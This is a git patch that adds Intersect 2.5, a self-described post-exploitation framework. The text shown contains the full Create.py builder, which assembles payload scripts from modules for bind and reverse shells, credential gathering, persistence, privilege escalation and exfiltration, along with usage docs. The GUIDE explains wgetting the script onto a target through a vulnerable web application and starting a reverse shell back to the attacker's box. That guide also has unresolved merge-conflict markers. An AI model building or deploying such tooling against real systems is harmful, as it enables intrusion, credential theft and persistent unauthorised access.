From 4a3fbd6cc67708fcd6c90a4b56372a0f2ad49ef7 Mon Sep 17 00:00:00 2001 From: Brock Date: Mon, 22 Dec 2014 12:05:45 +0800 Subject: [PATCH] Intersect-2.5 --- Intersect-2.5/Create.py | 641 ++++++++++++++ Intersect-2.5/Docs/FAQ | 0 Intersect-2.5/Docs/GUIDE | 115 +++ Intersect-2.5/Docs/LICENSE | 31 + Intersect-2.5/Docs/README | 71 ++ Intersect-2.5/Docs/UPDATING | 25 + Intersect-2.5/Docs/WritingModules | 244 ++++++ Intersect-2.5/Junk/is_valid_ipv4.py | 36 + Intersect-2.5/Junk/validip.py | 19 + Intersect-2.5/Logs/ActivityLog | 0 Intersect-2.5/Logs/build_log | 0 Intersect-2.5/README | 43 + Intersect-2.5/Scripts/Samples/Gather.py | 571 +++++++++++++ Intersect-2.5/Scripts/Samples/Network.py | 494 +++++++++++ Intersect-2.5/Scripts/Samples/Persist.py | 677 +++++++++++++++ Intersect-2.5/Scripts/Samples/README | 17 + Intersect-2.5/Scripts/Samples/Shells.py | 808 ++++++++++++++++++ Intersect-2.5/Storage/readme | 5 + .../Standalone-Shells/AESHTTP/aes-server.py | 117 +++ .../EgressBuster/egress_listener.py | 71 ++ .../Standalone-Shells/ICMP/icmp-master.py | 0 .../Tools/Standalone-Shells/TCP/tcp-client.py | 85 ++ .../Standalone-Shells/TCP/tcp-listener.py | 94 ++ .../Tools/Standalone-Shells/UDP/udp-client.py | 51 ++ .../Tools/Standalone-Shells/XMLCrack/README | 18 + .../Standalone-Shells/XMLCrack/crack.cfg | 44 + .../Tools/Standalone-Shells/XMLCrack/crack.py | 233 +++++ .../Standalone-Shells/XMLCrack/crackserver.py | 61 ++ .../Standalone-Shells/XMPP/xmpp-listener.py | 0 .../Tools/Standalone-Shells/XOR/xor-client.py | 87 ++ .../Standalone-Shells/XOR/xor-listener.py | 108 +++ Intersect-2.5/Tools/md5crack.py | 66 ++ Intersect-2.5/Tools/tabnanny.py | 21 + .../src/Modules/local/Custom/aeshttp | 57 ++ .../src/Modules/local/Custom/egressbuster | 46 + .../src/Modules/local/Custom/getrepos | 42 + .../src/Modules/local/Custom/icmpshell | 2 + .../src/Modules/local/Custom/openshares | 35 + .../src/Modules/local/Custom/persistent | 82 ++ .../src/Modules/local/Custom/portscan | 22 + .../src/Modules/local/Custom/privesc | 96 +++ .../src/Modules/local/Custom/privesc~ | 96 +++ Intersect-2.5/src/Modules/local/Custom/sniff | 0 .../src/Modules/local/Custom/udpbind | 68 ++ .../src/Modules/local/Custom/webproxy | 18 + .../src/Modules/local/Custom/xmlcrack | 55 ++ Intersect-2.5/src/Modules/local/Custom/xmpp | 2 + .../src/Modules/local/Standard/archive | 16 + .../src/Modules/local/Standard/bshell | 114 +++ .../src/Modules/local/Standard/creds | 86 ++ .../src/Modules/local/Standard/daemon | 41 + .../src/Modules/local/Standard/extras | 56 ++ .../src/Modules/local/Standard/lanmap | 45 + .../src/Modules/local/Standard/network | 67 ++ .../src/Modules/local/Standard/osuser | 92 ++ .../src/Modules/local/Standard/reversexor | 110 +++ .../src/Modules/local/Standard/rshell | 88 ++ .../src/Modules/local/Standard/scrub | 69 ++ .../src/Modules/local/Standard/xorshell | 132 +++ .../src/Templates/local/stock-template | 256 ++++++ Intersect-2.5/src/Templates/remote/Server.py | 239 ++++++ 61 files changed, 6885 insertions(+) create mode 100755 Intersect-2.5/Create.py create mode 100644 Intersect-2.5/Docs/FAQ create mode 100644 Intersect-2.5/Docs/GUIDE create mode 100644 Intersect-2.5/Docs/LICENSE create mode 100644 Intersect-2.5/Docs/README create mode 100644 Intersect-2.5/Docs/UPDATING create mode 100644 Intersect-2.5/Docs/WritingModules create mode 100644 Intersect-2.5/Junk/is_valid_ipv4.py create mode 100644 Intersect-2.5/Junk/validip.py create mode 100644 Intersect-2.5/Logs/ActivityLog create mode 100644 Intersect-2.5/Logs/build_log create mode 100644 Intersect-2.5/README create mode 100644 Intersect-2.5/Scripts/Samples/Gather.py create mode 100644 Intersect-2.5/Scripts/Samples/Network.py create mode 100644 Intersect-2.5/Scripts/Samples/Persist.py create mode 100644 Intersect-2.5/Scripts/Samples/README create mode 100644 Intersect-2.5/Scripts/Samples/Shells.py create mode 100644 Intersect-2.5/Storage/readme create mode 100644 Intersect-2.5/Tools/Standalone-Shells/AESHTTP/aes-server.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/EgressBuster/egress_listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/ICMP/icmp-master.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/TCP/tcp-listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/UDP/udp-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/README create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.cfg create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crack.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMLCrack/crackserver.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XMPP/xmpp-listener.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XOR/xor-client.py create mode 100644 Intersect-2.5/Tools/Standalone-Shells/XOR/xor-listener.py create mode 100644 Intersect-2.5/Tools/md5crack.py create mode 100644 Intersect-2.5/Tools/tabnanny.py create mode 100644 Intersect-2.5/src/Modules/local/Custom/aeshttp create mode 100644 Intersect-2.5/src/Modules/local/Custom/egressbuster create mode 100644 Intersect-2.5/src/Modules/local/Custom/getrepos create mode 100644 Intersect-2.5/src/Modules/local/Custom/icmpshell create mode 100644 Intersect-2.5/src/Modules/local/Custom/openshares create mode 100644 Intersect-2.5/src/Modules/local/Custom/persistent create mode 100644 Intersect-2.5/src/Modules/local/Custom/portscan create mode 100644 Intersect-2.5/src/Modules/local/Custom/privesc create mode 100644 Intersect-2.5/src/Modules/local/Custom/privesc~ create mode 100644 Intersect-2.5/src/Modules/local/Custom/sniff create mode 100644 Intersect-2.5/src/Modules/local/Custom/udpbind create mode 100644 Intersect-2.5/src/Modules/local/Custom/webproxy create mode 100644 Intersect-2.5/src/Modules/local/Custom/xmlcrack create mode 100644 Intersect-2.5/src/Modules/local/Custom/xmpp create mode 100644 Intersect-2.5/src/Modules/local/Standard/archive create mode 100644 Intersect-2.5/src/Modules/local/Standard/bshell create mode 100644 Intersect-2.5/src/Modules/local/Standard/creds create mode 100644 Intersect-2.5/src/Modules/local/Standard/daemon create mode 100644 Intersect-2.5/src/Modules/local/Standard/extras create mode 100644 Intersect-2.5/src/Modules/local/Standard/lanmap create mode 100644 Intersect-2.5/src/Modules/local/Standard/network create mode 100644 Intersect-2.5/src/Modules/local/Standard/osuser create mode 100644 Intersect-2.5/src/Modules/local/Standard/reversexor create mode 100644 Intersect-2.5/src/Modules/local/Standard/rshell create mode 100644 Intersect-2.5/src/Modules/local/Standard/scrub create mode 100644 Intersect-2.5/src/Modules/local/Standard/xorshell create mode 100644 Intersect-2.5/src/Templates/local/stock-template create mode 100755 Intersect-2.5/src/Templates/remote/Server.py diff --git a/Intersect-2.5/Create.py b/Intersect-2.5/Create.py new file mode 100755 index 0000000..765483a --- /dev/null +++ b/Intersect-2.5/Create.py @@ -0,0 +1,641 @@ +#!/usr/bin/python + +# Intersect2 Payload Generation Utility +# copyright 2012 - ohdae +# bindshell labs - http://bindshell.it.cx + +import sys, os, re +import shutil +import string, socket +import linecache +import random +import urllib, urllib2 +import datetime +import logging + + +global ModulesDir +global CustomDir +global PayloadTemplate +global currentloc +global tab_complete +global BuildLog +global now + + +tab_complete = True +try: + import readline +except ImportError: + print "[!] Python readline is not installed. Tab completion in the Create menu will be disabled." + tab_complete = False + +if tab_complete == True: + readline.parse_and_bind("tab: complete") + +currentloc = os.getcwd() +ModulesDir = (currentloc+"/src/Modules/local/Standard/") +CustomDir = (currentloc+"/src/Modules/local/Custom/") +PayloadTemplate = (currentloc+"/src/Templates/local/stock-template") +BuildLog = (currentloc+"/Logs/build_log") + +logging.basicConfig(filename=BuildLog, level=logging.INFO, format='%(asctime)s %(message)s') + + +def banner(): + + target = random.randrange(1,4) + + if target == 1: + print """ + ___ __ __ + | |.-----.| |_ .-----..----..-----..-----..----.| |_ + |. || || _|| -__|| _||__ --|| -__|| __|| _| + |. ||__|__||____||_____||__| |_____||_____||____||____| + |: | post-exploitation framework + |::.| + `---' +""" + + elif target == 2: + print """ + _______ __ __ + |_ _|.-----.| |_.-----.----.-----.-----.----.| |_ + _| |_ | || _| -__| _|__ --| -__| __|| _| + |_______||__|__||____|_____|__| |_____|_____|____||____| + Post-Exploitation Framework + bindshell.it.cx +""" + + elif target == 3: + print """ + ____ _ _ ____ ____ ____ ___ ____ ___ ____ + (_ _)( \( )(_ _)( ___)( _ \/ __)( ___)/ __)(_ _) + _)(_ ) ( )( )__) ) /\__ \ )__)( (__ )( + (____)(_)\_) (__) (____)(_)\_)(___/(____)\___) (__) + post-exploitation framework +""" + + elif target == 4: + print """ + _ _ _ + (_) | | | | + _ _ __ | |_ ___ _ __ ___ ___ ___| |_ + | | '_ \| __/ _ \ '__/ __|/ _ \/ __| __| + | | | | | || __/ | \__ \ __/ (__| |_ + __ |_|_| |_|\__\___|_| |___/\___|\___|\__| _ + / _| post-exploitation | | + | |_ _ __ __ _ _ __ ___ _____ _____ _ __| | __ + | _| '__/ _` | '_ ` _ \ / _ \ \ /\ / / _ \| '__| |/ / + | | | | | (_| | | | | | | __/\ V V / (_) | | | < + |_| |_| \__,_|_| |_| |_|\___| \_/\_/ \___/|_| |_|\_\ + + +""" + +class Completer: + def __init__(self): + standard = os.listdir(ModulesDir) + custom = os.listdir(CustomDir) + modcom = standard + custom + cmds = ["create", "help", "active", "rem", "modules", "quit", "info", "clear"] + if menu_option == "build": + self.words = cmds + modcom + self.prefix = ":" + + def complete(self, prefix, index): + if prefix != self.prefix: + self.matching_words = [w for w in self.words if w.startswith(prefix)] + self.prefix = prefix + else: + pass + try: + return self.matching_words[index] + return self.match_mods[index] + except IndexError: + return None + +class payloadgen(object): + def __init__(self): + self.header = " => " + self.warning = "[+] " + + def core(self): + print """ +Intersect 2.5 - Script Creation Utility +------------------------------------------ +1 => Create Custom Script +2 => List Available Modules +3 => Load Plugin Module +4 => Exit Creation Utility\n\n""" + while True: + choice = raw_input("%s " % (self.header)) + + if choice == '1': + global menu_option + menu_option = "build" + self.create() + + elif choice == '2': + print("\nIntersect 2.5 - Script Creation Utility") + print("------- List of Intersect Modules --------\n") + print("Standard Modules: ") + os.system("ls %s" % ModulesDir) + print("\nCustom Modules: ") + os.system("ls %s" % CustomDir) + print("-------------------------------------------") + print(" 1 => Return to main menu.") + choice = raw_input("%s " % (self.header)) + if choice == '1': + os.system("clear") + banner() + self.core() + else: + print("%sInvalid Selection!" % (self.warning)) + + elif choice == '3': + self.loadfunc() + + elif choice == '4': + print("Exiting. See ya later!") + sys.exit(0) + + else: + print("[!] Invalid menu option!") + self.core() + + def loadfunc(self): + print("\n----------- Load Plugin Modules ------------") + print("") + print(" Options:") + print("1 => Load module by filename") + print("2 => Download and import from URL") + print("3 => List currently loaded custom modules") + print("4 => Return to Main Menu") + + choice = raw_input("%s " % (self.header)) + + if choice == '1': + print("Enter the current location of your custom module: ") + modloc = raw_input("%s " % (self.header)) + + if os.path.exists(modloc) is True: + shutil.copy2(modloc, CustomDir) + logging.info("New Module '%s' imported." % modloc) + print("[+] Module successfully loaded into the custom modules directory!") + self.loadfunc() + + else: + print("[!] Custom module could not be loaded.") + logging.info("Module import failed for %s" % modloc) + + elif choice == '2': + print("Enter the URL where the file is location: ") + print("example: http://example.com/mymodule") + modloc = raw_input("%s " % (self.header)) + + filename = modloc.split('/')[-1] + + try: + urllib.urlretrieve(modloc, filename=CustomDir+filename) + except Exception, e: + print("\n[!] Error downloading %s: %s" % (modloc, e)) + self.loadfunc() + + if os.path.exists(CustomDir+filename) is True: + print("\n[+] Module successfully downloaded and imported!\n") + logging.info("%s downloaded and imported successfully." % modloc) + self.loadfunc() + else: + print("\n[!] Something went wrong! Download and import not completed!\n") + logging.info("[Error] Download and import of %s failed." % modloc) + self.loadfunc() + + elif choice == '3': + print("Currently available custom modules: ") + os.system("ls %s" % CustomDir) + self.loadfunc() + + elif choice == '4': + os.system("clear") + banner() + self.core() + + else: + print("[!] Invalid menu option!") + self.loadfunc() + + def create(self): + menu_option = "build" + os.system("clear") + print("\nIntersect 2.0 - Script Generation Utility") + print("---------- Create Custom Script -----------\n") + print(" Instructions: ") + print(""" +Use the console below to create your custom +Intersect script. Type the modules you wish +to add, pressing [enter] after each module. +Example: + => creds + => network + +When you have entered all your desired modules +into the queue, start the build process by typing :create. + +** To view a full list of all available commands type :help. +The command :quit will return you to the main menu.\n""") + + desired_modules = [] + logging.info("New Build Process Started.") + + while 1: + if tab_complete == True: + completer = Completer() + readline.set_completer(completer.complete) + + modulesInput = raw_input("%s " % (self.header)) + + if os.path.exists(ModulesDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif os.path.exists(CustomDir+modulesInput) is True: + desired_modules.append(modulesInput) + logging.info(" %s added to queue" % modulesInput) + print ("%s added to queue.\n" % modulesInput) + + elif modulesInput == ":modules": + os.system("ls %s" % ModulesDir) + os.system("ls %s" % CustomDir) + + elif modulesInput == ":create": + createcustom.chooseName() + payloadgen.globalconfig(desired_modules) + logging.info("Building new script with: %s" % desired_modules) + for mod in desired_modules: + print mod + createcustom.CombineFeatures(desired_modules) + + elif modulesInput.startswith(":info"): + getname = modulesInput.split(' ') + modname = getname[1] + + if os.path.exists(CustomDir+modname) is True: + info = open(CustomDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + + elif os.path.exists(ModulesDir+modname) is True: + info = open(ModulesDir+modname) + for line in info: + if "@description" in line: + split = line.split(":") + des = split[1] + print("\nDescription: %s " % des) + if "@author" in line: + split = line.split(":") + author = split[1] + print("Author: %s " % author) + else: + print("No description given for %s module " % modname) + + + elif modulesInput.startswith(":rem"): + getname = modulesInput.split(' ') + modname = getname[1] + desired_modules.remove(modname) + logging.info("%s removed from queue." % modulesInput) + print("[+] Removed module %s from queue" % modname) + + elif modulesInput == ":active": + print("\nModules you have selected: ") + print desired_modules + + elif modulesInput == ":clear": + os.system("clear") + print("Intersect 2.5 - Script Creation Utility") + + elif modulesInput == ":help": + print("\n Available Commands:") + print(" :help => display this menu") + print(" :active => shows current module queue") + print(" :create => creates payload from selected list") + print(" :clear => clears the screen") + print(" :info module => show description of module") + print(" :modules => list of currently available modules") + print(" module => adds module to payload queue") + print(" :rem module => removes module from payload queue") + print(" :quit => return to the main menu") + + elif modulesInput == ":quit": + print("[+] Returning to the main menu....") + banner() + self.core() + + else: + print("[!] %s command or module does not seem to exist!\n" % modulesInput) + + def valid_ip(self,ip): + parts = ip.split('.') + return ( + len(parts) == 4 + and all(part.isdigit() for part in parts) + and all(0 <= int(part) <= 255 for part in parts) + ) + + def globalconfig(self, modules): + writeglobals = (currentloc+"/Junk/globals") + globalstemp = open(writeglobals, "a") + + globalstemp.write("\ndef globalvars():") + globalstemp.write("\n global PORT") + globalstemp.write("\n global RHOST") + globalstemp.write("\n global RPORT") + globalstemp.write("\n global PPORT") + globalstemp.write("\n global PKEY") + globalstemp.write("\n global socksize") + globalstemp.write("\n global shellPID") + globalstemp.write("\n global modList") + globalstemp.write("\n global Temp_Dir") + globalstemp.write("\n global Logging") + globalstemp.write("\n global ActivityLog") + + globalstemp.write("\n\n modList = %s" % modules) + globalstemp.write("\n socksize = 4092") + globalstemp.write("\n shellPID = []") + + print("\nSpecify the directory on the target system where the gathered files and information will be saved to.") + print("*Important* This should be a NEW directory. When exiting Intersect, this directory will be deleted if it contains no files.") + print("If you skip this option, the default (/tmp/lift+$randomstring) will be used.") + + tempdir = raw_input("temp directory %s " % (self.header)) + if tempdir == "": + globalstemp.write("\n Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12))") + globalstemp.write("\n Temp_Dir = '/tmp/lift-'+'%s' % Rand_Dir") + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + else: + globalstemp.write("\n Temp_Dir = '%s'" % tempdir) + globalstemp.write("\n ActivityLog = Temp_Dir+'/ActivityLog'") + + logopt = raw_input("enable logging %s " % (self.header)) + if logopt == "": + logging.info("Task logging = No") + globalstemp.write("\n Logging = 'no'") + elif logopt == "yes" or logopt.startswith("y"): + logging.info("Task logging ENABLED") + globalstemp.write("\n Logging = 'yes'") + else: + globalstemp.write("\n Logging = 'no'") + logging.info("Task logging DISABLED") + + + bport = raw_input("bind port %s " % (self.header)) + if bport == "": + globalstemp.write("\n PORT = 4444") + elif bport.isdigit() is True: + globalstemp.write("\n PORT = %s" % bport) + print("[+] bind port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rhost = raw_input("remote host %s " % (self.header)) + if rhost == "": + globalstemp.write("\n RHOST = ''") + elif self.valid_ip(rhost) is True: + globalstemp.write("\n RHOST = '%s'" % rhost) + print("[+] remote host saved.") + else: + print("[!] invalid ipv4 address!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + rport = raw_input("remote port %s " % (self.header)) + if rport == "": + globalstemp.write("\n RPORT = 8888") + elif rport.isdigit() is True: + globalstemp.write("\n RPORT = %s" % rport) + print("[+] remote port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pport = raw_input("proxy port %s " % (self.header)) + if pport == "": + globalstemp.write("\n PPORT = 8080") + elif pport.isdigit() is True: + globalstemp.write("\n PPORT = %s" % pport) + print("[+] proxy port saved.") + else: + print("[!] invalid port!") + os.system("rm %s" % writeglobals) + self.globalconfig() + + pkey = raw_input("xor cipher key %s " % (self.header)) + if pkey == "": + globalstemp.write("\n PKEY = 'TESTME'") + else: + globalstemp.write("\n PKEY = '%s'\n\n" % pkey) + print("[+] xor key saved.") + + globalstemp.close() + + + +class createcustom: + def __init__(self): + self.header = " => " + + + def chooseName(self): + global newpayload + global script + + print("\n[ Set Options ]\nIf any of these options don't apply to you, press [enter] to skip.") + + if os.path.exists(PayloadTemplate) is True: + print("Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. Do not include Python file extension.") + name = raw_input("%s " % (self.header)) + script = (currentloc+"/Scripts/%s.py" % name) + + if name == "": + script = (currentloc+"/Scripts/Intersect.py") + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + logging.info("Script named: Intersect.py") + + else: + + if os.path.exists(script) is True: + print("[!] The filename you entered all ready exists. Enter a new filename") + logging.error("User selected invalid script name.") + self.chooseName() + else: + shutil.copy2(PayloadTemplate, script) + newpayload = open(script, "a") + print("Script will be saved as %s" % script) + logging.info("Script named: %s " % script) + + else: + print("[!] Payload template cannot be found!") + logging.error("Cannot find the base Intersect template.") + payloadgen.core() + + + def CombineFeatures(self, moduleList): + + + savedglobals = (currentloc+"/Junk/globals") + writeglobals = open(savedglobals, "r") + for lines in writeglobals.readlines(): + newpayload.write(lines) + writeglobals.close() + os.system("rm %s" % savedglobals) + + for item in moduleList: + if os.path.exists(ModulesDir+item) is True: + module = open(ModulesDir+item, "r") + + elif os.path.exists(CustomDir+item) is True: + module = open(CustomDir+item, "r") + + for lines in module.readlines(): + newpayload.write(lines) + module.close() + + newpayload.close() + + self.MakeUsage(moduleList) + self.MakeOptParse(moduleList) + os.system("chmod u+x %s" % script) + + print("\n[+] Your custom Intersect script has been created!") + print(" Location: %s" % script) + logging.info("Script saved to: %s \n" % script) + sys.exit(0) + + + def MakeUsage(self, moduleList): # Clean up this function + usage = (currentloc+"/Junk/usage") + descriptions = [] + + for module in moduleList: + if os.path.exists(ModulesDir+module) is True: + info = open(ModulesDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + + elif os.path.exists(CustomDir+module) is True: + info = open(CustomDir+module) + for line in info: + if "@short" in line: + split = line.split(":") + des = split[1] + des = des.rstrip("\n") + short = module[0] + descriptions.append(" -%s --%s %s" % (short, module, des)) + + else: + descriptions.append(" -%s --%s" % (short, module)) + + writeusage = open(usage, "a") + + writeusage.write("\n\ndef usage():") + writeusage.write("\n print('============================================')") + writeusage.write("\n print(' intersect 2.5 | custom version ')") + writeusage.write("\n print(' http://bindshell.it.cx | ohdae')") + writeusage.write("\n print(' Modules:')") + + for item in descriptions: + writeusage.write("\n print('%s')" % (str(item))) + + writeusage.close() + + newpayload = open(script, "a") + addusage = open(usage, "r") + + for lines in addusage.readlines(): + newpayload.write(lines) + + os.system("rm %s" % usage) + newpayload.close() + addusage.close() + + + def MakeOptParse(self, moduleList): + shortopts = [] + shorts = [] + + for item in moduleList: + modname = item[0] + shortopts.append(modname) + + moduleList.append("help") + shorts.append("h") + + shorts = [''.join(shortopts)] + + + newpayload = open(script, "a") + writeopts = (currentloc+"/Junk/writeopts") # give name to getopt temporary file # + newopts = open(writeopts, "a") # open temporary getopt file to append getopt functions into + + + newopts.write("\n\ndef main(argv):") + newopts.write("\n try:") + newopts.write("\n opts, args = getopt.getopt(sys.argv[1:], %s, %s)" % (str(shorts).strip('[]'), moduleList)) + newopts.write("\n except getopt.GetoptError, err:") + newopts.write("\n print str(err)") + newopts.write("\n Shutdown()") + newopts.write("\n for o, a in opts:") + newopts.write("\n if o in ('-h', '--help'):") + newopts.write("\n usage()") + newopts.write("\n Shutdown()") + newopts.write("\n sys.exit(2)") + + for opt, module in zip(shortopts, moduleList): + newopts.write("\n elif o in ('-%s', '--%s'):" % (opt, module)) + newopts.write("\n %s()" % module) + + newopts.write("\n else:") + newopts.write("\n assert False, 'unhandled option'") + newopts.write("\n Shutdown()\n") + newopts.write("\n\nglobalvars()") + newopts.write("\nenvironment()") + newopts.write('\nif __name__ == "__main__":') + newopts.write("\n if len(sys.argv) <=1:") + newopts.write("\n usage()") + newopts.write("\n main(sys.argv[1:])") + newopts.close() + + writeopt = open(writeopts, "r") + for lines in writeopt.readlines(): + newpayload.write(lines) + + os.system("rm %s" % writeopts) + + writeopt.close() + newpayload.close() + + +if __name__=='__main__': + banner() + payloadgen = payloadgen() + createcustom = createcustom() + payloadgen.core() diff --git a/Intersect-2.5/Docs/FAQ b/Intersect-2.5/Docs/FAQ new file mode 100644 index 0000000..e69de29 diff --git a/Intersect-2.5/Docs/GUIDE b/Intersect-2.5/Docs/GUIDE new file mode 100644 index 0000000..a96f897 --- /dev/null +++ b/Intersect-2.5/Docs/GUIDE @@ -0,0 +1,115 @@ +Intersect 2.5 - Documentation +How-To Guide + +Table Of Contents +* Create.py +* Building custom scripts +* Using your finished script + + + + [ Create.py Application ] + +The Create application is the core application within the Intersect 2.5 framework. +The main focus of Create is to help you in building customized Intersect scripts, but it can also be used for importing +new modules from a local file or webserver, viewing their descriptions or author information, check for updates to the +Intersect framework and some other creation-centric features. + +Create.py is a menu-driven script that guides you through the process of building your custom script. +When you start Create you will be brought to the Main Menu, where you can choose whether to build a new script, import +a new module or view a list of all currently available modules within the Custom and Standard directories. + +Within any menu of Create, you can type ':help' to be presented with a detailed list of commands for the specific menu +you are in. You can also type ':exit' or ':quit' at any menu to be brought back to the Main Menu or completely exit +the application, if you are all ready there. + +Main Menu: + 1 => Create Custom Script + 2 => List Available Modules + 3 => Load Plugin Module + 4 => Check for updates + 5 => Exit Creation Utility + + + + + [ Building Custom Scripts ] + +The entire purpose of Intersect 2.5 is to help you create custom post-exploitation scripts. This is done by using the +Create application and selecting option '1' from the Main Menu. + +After you select the first option from the Main Menu, you'll be presented with a quick tutorial on how the creation +process works and how to add modules to your script. +At any point during this process you can type ':help' for a full list of commands or type ':quit' to return to the main +menu. + +Enter the name of each module you wish to add to your script, pressing [enter] after each addition. +Once you've added everything you want included, type ':create' to start the build process. +You'll then be prompted to enter a name for your script and define some options for things like encryption keys and +ports. +The entries will checked to make sure your entries are valid. If you enter an invalid IP address or port, you will be +notified and asked to re-enter the correct information. + +After all the options are saved, your script will be built. +You'll be shown a list of all the modules that were built into the script and the location where the final product is +saved. + +[Example of :create command] + => :create + Enter a name for your Intersect script. The finished script will be placed in the Scripts directory. + Do not include Python file extension. + => TutorialTest + Script will be saved as /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + Configure Options: + If any of these options don't apply to you, press [enter] to ignore them. + bind port => 4444 + [+] bind port saved. + remote host => + [+] remote host saved. + remote port => + [+] remote port saved. + proxy port => + [+] proxy port saved. + xor cipher key => + [+] xor key saved. + bshell + extras + network + + [+] Your custom Intersect script has been created! + Location: /home/ohdae/Git/Intersect-2.5/Scripts/TutorialTest.py + + + + +<<<<<<< HEAD + [ Using your custom Intersect script ] +======= + [ Using your custom Intersect script ] +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + +There is a large variety of ways you can use your Intersect script. The options are only limited by the modules you +choose for each script. + +The most straight-forward and common method of use is uploading or downloading the Intersect script onto a target system +and then running the post-exploitation automation tasks right from the command line. + +If you do not have direct shell access, you can still make full use of Intersect and run any of the includes modules +over any of the remote shells (TCP, XOR, ICMP, UDP, AES, etc). +This might occur in a situation where you only have command execution access on the target host, through a vulnerable +web application for example. +In that case, simply wget the Intersect script onto the target box and execute "./Intersect.py --rshell", for example, +to start an interactive reverse shell back to your listening box. Once you get a successfull connection, you can run any +of the included modules over the shell by using the 'extask' command. +For a full list of commands and help within any of the remote shells, type 'helpme'. + +<<<<<<< HEAD +======= +When you run most of the Intersect modules, the information and files that are gathered will be saved into a temporary +directory within /tmp. +The files and data will be separated into sub-folders so the information is easier to identify and locate. + +This section will be filled in with more details eventually. +>>>>>>> 528f569ec22cc25259cbe6f12258205e2f68dbdf + diff --git a/Intersect-2.5/Docs/LICENSE b/Intersect-2.5/Docs/LICENSE new file mode 100644 index 0000000..0fac951 --- /dev/null +++ b/Intersect-2.5/Docs/LICENSE @@ -0,0 +1,31 @@ +Copyright (c) 2012, Intersect 2.5 (Post-Exploitation Framework) +[author: bindshell@live.com] +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of the nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY +DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND +ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +Please take notice that Intersect 2.5 is provided as is, and is a royalty free open-source application. + +The end-user, you, is allowed to use, modify and/or change whatever you wish within this applications source-code, +provided that you give appropriate credit where credit is due and the above license and copyright information +is included. \ No newline at end of file diff --git a/Intersect-2.5/Docs/README b/Intersect-2.5/Docs/README new file mode 100644 index 0000000..9fe9357 --- /dev/null +++ b/Intersect-2.5/Docs/README @@ -0,0 +1,71 @@ +Intersect 2.5 - Post-Exploitation Framework + +author: ohdae +website: http://bindshell.it.cx + https://github.com/ohdae/Intersect-2.5/ +contact: bindshell[at]live[dot]com + +Table of Contents +* General Description +* Modules Explanation +* Script Creation Process +* Credits & How to Contribute + +[ Description ] + +Intersect 2.5 is the second major release in the project line. This release is much different from the previous, +in that it gives the user complete control over which features the Intersect script includes and lets them easily +import their own features, among other new functionality. + +This release focuses mainly on the individual modules(features) and the capability to generate your own customized +Intersect scripts. By using the Create.py application, the user is guided through a menu-driven process which allows +them to select which modules they would like to include, import their own custom modules and ultimately create an +Intersect script that is built around the specific modules they choose. + + + +[ Modules ] + +A module is simply a specific post-exploitation function. Each individual module itself is not capable of stand-alone +execution until it is imported with the Create application and built into a custom script. +With Intersect 2.5, there is the arrival of many new modules and some changes to the original features that were included +in version 2.0. + +The modules are broken down into two categories. +The first category, Standard Modules, includes all of the original Intersect 2.0 features and tasks but they are +separated into individual modules to provide more control over the finalized custom script. +For example, the credential gathering feature is now it's own module called "creds" and +the network information gathering feature is a separate module called "network". + +The second category is the Custom modules and includes anything that was not part of Intersect 2.0 and is also where +any new, additional or custom modules that the user imports will be stored. While the user can import any module +functionality they wish, the Custom modules packaged with Intersect 2.5 focus on post-exploitation automation, remote +shell access and various data exfiltration functions. + +For more information on writing your own modules or importing modules for use, see the Writing-Modules documentation. + + + +[ Creation Process ] + +The Create.py application is used to generate the actual Intersect script that you will be using on the target system. +There is no final Intersect script until you make one! + +When you start Create, you will be presented with a series of menus that provides the following features: +* Generate custom Intersect scripts + -- choose as many or as few modules as you want + -- define 